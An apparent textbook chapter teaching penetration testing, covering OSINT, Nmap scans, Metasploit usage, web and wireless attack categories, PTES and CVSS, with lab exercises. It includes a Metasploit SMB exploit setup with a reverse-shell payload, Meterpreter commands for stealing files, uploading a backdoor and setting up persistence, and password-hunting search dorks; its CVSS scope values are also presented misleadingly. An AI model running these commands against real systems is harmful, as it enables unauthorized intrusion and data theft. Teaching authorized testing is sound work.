Chapter 9: Asset Security & Penetration Testing

Learning Objectives

By the end of this chapter, you will be able to:

- Understand the fundamentals of asset security and penetration testing
- Follow the complete penetration testing lifecycle from planning to reporting
- Use Nmap for network scanning and reconnaissance
- Conduct OSINT (Open Source Intelligence) gathering
- Utilize Metasploit for exploitation and post-exploitation
- Perform web and wireless exploitation techniques
- Apply PTES (Penetration Testing Execution Standard) methodology
- Use CVSS scoring for vulnerability assessment
- Create professional penetration testing reports

Introduction

Asset security and penetration testing represent the offensive side of cybersecurity - testing your defenses through ethical hacking to identify vulnerabilities before malicious actors can exploit them. This chapter covers the complete penetration testing methodology, from initial planning to final reporting, providing hands-on experience with industry-standard tools and frameworks.

What is Asset Security?

Asset security involves protecting an organization's valuable information and systems from unauthorized access, use, disclosure, disruption, modification, or destruction. Penetration testing is a proactive approach to asset security that simulates real-world attacks to identify and remediate vulnerabilities.

Key Concepts

- **Asset**: Any data, device, or system that has value to an organization
- **Vulnerability**: A weakness that could be exploited by a threat
- **Threat**: Any circumstance or event that could harm an asset
- **Risk**: The likelihood that a threat will exploit a vulnerability
- **Penetration Testing**: Authorized simulated attacks to test security controls

```
graph TD
    A[Asset Identification] --> B[Vulnerability Assessment]
    B --> C[Threat Analysis]
    C --> D[Risk Evaluation]
    D --> E[Security Controls]
    E --> F[Penetration Testing]
    F --> G[Remediation]
    G --> H[Continuous Monitoring]

    style A fill:#e1f5fe
    style F fill:#ffebee
    style G fill:#e8f5e8
```

Penetration Testing Methodology

The Penetration Testing Lifecycle

Penetration testing follows a structured approach to ensure comprehensive coverage and ethical conduct:

```
graph LR
    A[Planning & Preparation] --> B[Reconnaissance]
    B --> C[Scanning & Enumeration]
    C --> D[Gaining Access]
    D --> E[Maintaining Access]
    E --> F[Analysis & Reporting]

    style A fill:#e3f2fd
    style B fill:#f3e5f5
    style C fill:#e8f5e8
    style D fill:#fff3e0
    style E fill:#fce4ec
    style F fill:#f1f8e9
```

1. Planning & Preparation

- Define scope and objectives
- Obtain proper authorization
- Establish rules of engagement
- Set up testing environment
- Prepare tools and resources

2. Reconnaissance (OSINT)

- Passive information gathering
- Active information gathering
- Social engineering reconnaissance
- Technical reconnaissance

3. Scanning & Enumeration

- Network scanning
- Port scanning
- Service enumeration
- Vulnerability scanning

4. Gaining Access

- Exploitation of vulnerabilities
- Privilege escalation
- Web application attacks
- Wireless network attacks

5. Maintaining Access

- Backdoor installation
- Persistence mechanisms
- Data exfiltration
- Lateral movement

6. Analysis & Reporting

- Evidence collection
- Vulnerability documentation
- Risk assessment
- Remediation recommendations

OSINT (Open Source Intelligence)

OSINT is the collection and analysis of publicly available information to gather intelligence about a target organization or individual.

OSINT Process

```
graph TD
    A[Target Identification] --> B[Information Sources]
    B --> C[Data Collection]
    C --> D[Data Analysis]
    D --> E[Intelligence Production]
    E --> F[Actionable Insights]

    style A fill:#e8f5e8
    style C fill:#fff3e0
    style E fill:#e1f5fe
```

OSINT Sources

Public Sources

- **Company Websites**: Corporate information, employee details, technology stack
- **Social Media**: LinkedIn, Twitter, Facebook for employee information
- **Job Postings**: Technology stack, infrastructure details
- **Public Records**: Business registrations, patents, legal documents
- **News Articles**: Company developments, partnerships, acquisitions

Technical Sources

- **DNS Records**: Domain information, subdomains, mail servers
- **WHOIS Data**: Domain ownership, contact information
- **Search Engines**: Google dorks, specialized search operators
- **GitHub**: Code repositories, configuration files
- **Shodan**: Internet-connected devices and services

OSINT Tools

```
# DNS enumeration
nslookup target.com
dig target.com ANY
whois target.com

# Subdomain discovery
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Google dorks
site:target.com filetype:pdf
site:target.com "password"
site:target.com "admin"
```

Network Scanning with Nmap

Nmap (Network Mapper) is a powerful network discovery and security auditing tool that provides comprehensive network scanning capabilities.

Nmap Scan Types

```
graph LR
    A[Nmap] --> B[TCP Connect Scan]
    A --> C[SYN Scan]
    A --> D[UDP Scan]
    A --> E[Version Detection]
    A --> F[OS Detection]
    A --> G[Script Scanning]

    style A fill:#ffebee
    style B fill:#e8f5e8
    style C fill:#fff3e0
    style D fill:#f3e5f5
```

1. TCP Connect Scan (-sT)

- Completes the TCP three-way handshake
- More reliable but easily detected
- Requires full TCP connection

```
nmap -sT -p 80,443,22,21 target.com
```

2. SYN Scan (-sS)

- Stealthy scan that doesn't complete connections
- Faster and less detectable
- Requires root/administrator privileges

```
sudo nmap -sS -p 1-1000 target.com
```

3. UDP Scan (-sU)

- Scans UDP ports for open services
- Slower than TCP scans
- Useful for discovering DNS, DHCP, SNMP services

```
nmap -sU -p 53,67,161 target.com
```

4. Version Detection (-sV)

- Identifies service versions and details
- Helps identify vulnerable software versions
- Useful for vulnerability assessment

```
nmap -sV -p 80,443,22 target.com
```

5. OS Detection (-O)

- Attempts to identify target operating system
- Requires root/administrator privileges
- Uses TCP/IP stack fingerprinting

```
sudo nmap -O target.com
```

Advanced Nmap Techniques

Port Range Specification

```
# Scan specific ports
nmap -p 22,80,443 target.com

# Scan port ranges
nmap -p 1-1000 target.com

# Scan all ports
nmap -p- target.com
```

Timing and Performance

```
# Aggressive timing
nmap -T4 target.com

# Paranoid timing (very slow, very stealthy)
nmap -T0 target.com

# Custom timing
nmap --max-retries 1 --max-scan-delay 10ms target.com
```

Output Formats

```
# Normal output
nmap target.com

# XML output
nmap -oX scan_results.xml target.com

# Grepable output
nmap -oG scan_results.gnmap target.com

# All formats
nmap -oA scan_results target.com
```

Metasploit Framework

Metasploit is a powerful penetration testing platform that provides tools for developing, testing, and executing exploit code against target systems.

Metasploit Architecture

```
graph TD
    A[Metasploit Framework] --> B[Modules]
    B --> C[Exploits]
    B --> D[Payloads]
    B --> E[Auxiliary]
    B --> F[Post]
    B --> G[Encoders]

    C --> H[Remote Exploits]
    C --> I[Local Exploits]
    C --> J[Client-Side Exploits]

    D --> K[Single Payloads]
    D --> L[Staged Payloads]
    D --> M[Meterpreter]

    style A fill:#ffebee
    style B fill:#e8f5e8
    style C fill:#fff3e0
    style D fill:#f3e5f5
```

Metasploit Components

1. Exploits

- **Remote Exploits**: Target services over the network
- **Local Exploits**: Require local access to the target
- **Client-Side Exploits**: Target client applications

2. Payloads

- **Single Payloads**: Complete, self-contained code
- **Staged Payloads**: Download and execute in stages
- **Meterpreter**: Advanced, feature-rich payload

3. Auxiliary Modules

- **Scanners**: Port scanning, service detection
- **Fuzzers**: Input validation testing
- **Gatherers**: Information collection

Basic Metasploit Usage

Starting Metasploit

```
# Start Metasploit console
msfconsole

# Start with database
msfdb init
msfconsole
```

Searching for Modules

```
# Search for exploits
search exploit windows smb

# Search for auxiliary modules
search auxiliary scanner

# Search by platform
search platform:windows
```

Using Exploits

```
# Select an exploit
use exploit/windows/smb/ms08_067_netapi

# Show options
show options

# Set required options
set RHOSTS 192.168.1.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10

# Execute exploit
exploit
```

Post-Exploitation with Meterpreter

```
# System information
sysinfo

# Process list
ps

# File operations
ls
cd C:\\
download secret.txt
upload backdoor.exe

# Privilege escalation
getsystem

# Persistence
run persistence -X -i 30 -p 4444 -r 192.168.1.10
```

Web and Wireless Exploitation

Web Application Exploitation

Web applications present numerous attack vectors that penetration testers must understand and test:

```
graph TD
    A[Web Application] --> B[Input Validation]
    A --> C[Authentication]
    A --> D[Session Management]
    A --> E[Access Control]
    A --> F[Data Storage]

    B --> G[SQL Injection]
    B --> H[XSS]
    B --> I[CSRF]

    C --> J[Weak Passwords]
    C --> K[Brute Force]
    C --> L[Session Hijacking]

    style A fill:#e8f5e8
    style G fill:#ffebee
    style H fill:#fff3e0
    style I fill:#f3e5f5
```

Common Web Vulnerabilities

1. **SQL Injection**
    - Unauthorized database access
    - Data extraction and manipulation
    - Authentication bypass
2. **Cross-Site Scripting (XSS)**
    - Client-side code execution
    - Session hijacking
    - Malicious redirects
3. **Cross-Site Request Forgery (CSRF)**
    - Unauthorized actions on behalf of users
    - Account takeover
    - Data manipulation

Wireless Network Exploitation

Wireless networks introduce additional attack vectors:

```
graph LR
    A[Wireless Network] --> B[WEP]
    A --> C[WPA/WPA2]
    A --> D[WPA3]
    A --> E[Enterprise]

    B --> F[Weak Encryption]
    C --> G[Dictionary Attacks]
    D --> H[Modern Security]
    E --> I[Certificate Attacks]

    style A fill:#e8f5e8
    style F fill:#ffebee
    style G fill:#fff3e0
```

Wireless Attack Types

1. **WEP Attacks**
    - Weak encryption algorithm
    - IV reuse vulnerabilities
    - Statistical attacks
2. **WPA/WPA2 Attacks**
    - Dictionary attacks on pre-shared keys
    - WPS PIN attacks
    - Deauthentication attacks
3. **Enterprise Attacks**
    - Certificate-based attacks
    - RADIUS vulnerabilities
    - Man-in-the-middle attacks

PTES (Penetration Testing Execution Standard)

PTES provides a comprehensive methodology for conducting penetration tests:

PTES Phases

```
graph TD
    A[Pre-engagement] --> B[Intelligence Gathering]
    B --> C[Threat Modeling]
    C --> D[Vulnerability Analysis]
    D --> E[Exploitation]
    E --> F[Post Exploitation]
    F --> G[Reporting]

    style A fill:#e3f2fd
    style B fill:#f3e5f5
    style C fill:#e8f5e8
    style D fill:#fff3e0
    style E fill:#fce4ec
    style F fill:#f1f8e9
    style G fill:#e8f5e8
```

1. Pre-engagement

- Define scope and objectives
- Establish rules of engagement
- Obtain proper authorization
- Set up communication channels

2. Intelligence Gathering

- Passive reconnaissance
- Active reconnaissance
- Social engineering
- Technical reconnaissance

3. Threat Modeling

- Identify potential threats
- Assess threat capabilities
- Determine attack vectors
- Prioritize threats

4. Vulnerability Analysis

- Automated scanning
- Manual testing
- Configuration review
- Code review

5. Exploitation

- Vulnerability exploitation
- Privilege escalation
- Lateral movement
- Data access

6. Post Exploitation

- Persistence establishment
- Data exfiltration
- Evidence collection
- Cleanup

7. Reporting

- Executive summary
- Technical details
- Risk assessment
- Remediation recommendations

CVSS Scoring

The Common Vulnerability Scoring System (CVSS) provides a standardized method for rating the severity of security vulnerabilities.

CVSS Components

```
graph TD
    A[CVSS Score] --> B[Base Score]
    A --> C[Temporal Score]
    A --> D[Environmental Score]

    B --> E[Attack Vector]
    B --> F[Attack Complexity]
    B --> G[Privileges Required]
    B --> H[User Interaction]
    B --> I[Scope]
    B --> J[Confidentiality]
    B --> K[Integrity]
    B --> L[Availability]

    style A fill:#ffebee
    style B fill:#e8f5e8
    style C fill:#fff3e0
    style D fill:#f3e5f5
```

CVSS Base Score Calculation

Attack Vector (AV)

- **Network (N)**: 0.85
- **Adjacent (A)**: 0.62
- **Local (L)**: 0.55
- **Physical (P)**: 0.2

Attack Complexity (AC)

- **Low (L)**: 0.77
- **High (H)**: 0.44

Privileges Required (PR)

- **None (N)**: 0.85
- **Low (L)**: 0.62
- **High (H)**: 0.27

User Interaction (UI)

- **None (N)**: 0.85
- **Required (R)**: 0.62

Scope (S)

- **Unchanged (U)**: 6.42
- **Changed (C)**: 7.52

Impact Metrics

- **Confidentiality (C)**: None (0), Low (0.22), High (0.56)
- **Integrity (I)**: None (0), Low (0.22), High (0.56)
- **Availability (A)**: None (0), Low (0.22), High (0.56)

CVSS Score Ranges

- **0.1 - 3.9**: Low
- **4.0 - 6.9**: Medium
- **7.0 - 8.9**: High
- **9.0 - 10.0**: Critical

Example CVSS Calculation

```
# Example: SQL Injection vulnerability
# AV: Network (0.85)
# AC: Low (0.77)
# PR: None (0.85)
# UI: None (0.85)
# S: Unchanged (6.42)
# C: High (0.56)
# I: High (0.56)
# A: High (0.56)

# Base Score = 9.8 (Critical)
```

Hands-On Activities

Activity 1: OSINT Reconnaissance

Objective: Conduct comprehensive OSINT gathering on a target organization

Steps:

1. Identify target organization
2. Gather domain information using WHOIS and DNS tools
3. Discover subdomains using various techniques
4. Search for publicly available information
5. Document findings in a structured format

Tools:

- `whois`, `dig`, `nslookup`
- `gobuster`, `subfinder`
- Google dorks
- Social media platforms

Activity 2: Network Scanning with Nmap

Objective: Perform comprehensive network reconnaissance using Nmap

Steps:

1. Set up target environment (virtual machines)
2. Perform different types of Nmap scans
3. Analyze scan results
4. Identify open services and potential vulnerabilities
5. Document findings and recommendations

Scans to Perform:

- TCP connect scan
- SYN scan
- UDP scan
- Version detection
- OS detection

Activity 3: Metasploit Exploitation

Objective: Use Metasploit to exploit vulnerabilities and gain access

Steps:

1. Set up vulnerable target system
2. Identify target vulnerabilities
3. Select appropriate Metasploit modules
4. Configure and execute exploits
5. Perform post-exploitation activities
6. Document the entire process

Exploits to Practice:

- Windows SMB vulnerabilities
- Web application vulnerabilities
- Service-specific exploits

Activity 4: Web Application Penetration Testing

Objective: Identify and exploit web application vulnerabilities

Steps:

1. Set up vulnerable web application (DVWA, WebGoat)
2. Perform manual vulnerability assessment
3. Test for common vulnerabilities (SQL injection, XSS, CSRF)
4. Document vulnerabilities with proof of concept
5. Provide remediation recommendations

Vulnerabilities to Test:

- Input validation flaws
- Authentication bypass
- Session management issues
- Access control problems

Activity 5: Penetration Test Report

Objective: Create a comprehensive penetration testing report

Steps:

1. Compile all findings from previous activities
2. Structure report according to industry standards
3. Include executive summary and technical details
4. Provide risk assessments and CVSS scores
5. Recommend remediation strategies
6. Present findings professionally

Report Sections:

- Executive summary
- Methodology
- Findings and evidence
- Risk assessment
- Remediation recommendations
- Appendices

Key Takeaways

1. **Penetration testing** is a systematic approach to testing security controls through ethical hacking
2. **OSINT** provides valuable information about targets through publicly available sources
3. **Nmap** is essential for network reconnaissance and service enumeration
4. **Metasploit** offers powerful exploitation and post-exploitation capabilities
5. **PTES** provides a comprehensive methodology for conducting penetration tests
6. **CVSS scoring** standardizes vulnerability severity assessment
7. **Ethical conduct** is paramount in all penetration testing activities

8. **Documentation** is crucial for effective reporting and remediation

Review Questions

1. What are the six phases of the penetration testing lifecycle?
2. How does OSINT differ from active reconnaissance?
3. What are the advantages of SYN scanning over TCP connect scanning?
4. Explain the difference between exploits and payloads in Metasploit
5. What are the main components of CVSS scoring?
6. Why is proper authorization essential in penetration testing?
7. How can web application vulnerabilities be categorized?
8. What role does threat modeling play in penetration testing?

Further Reading

- **Books**:
    - "The Web Application Hacker's Handbook" by Dafydd Stuttard and Marcus Pinto
    - "Metasploit: The Penetration Tester's Guide" by David Kennedy et al.
    - "Nmap Network Scanning" by Gordon Lyon
- **Standards and Frameworks**:
    - PTES (Penetration Testing Execution Standard)
    - OWASP Testing Guide
    - NIST Cybersecurity Framework
- **Tools and Resources**:
    - Metasploit Framework documentation
    - Nmap reference guide
    - CVSS calculator and documentation
- **Certifications**:
    - CEH (Certified Ethical Hacker)
    - OSCP (Offensive Security Certified Professional)
    - GPEN (GIAC Penetration Tester)

Previous Chapter: Chapter 8: Cryptography Fundamentals - Learn about encryption algorithms, cryptographic protocols, and Public Key Infrastructure (PKI).

Next Chapter: Chapter 10: Application Security - Learn about secure software development, OWASP Top 10, and application security testing methodologies.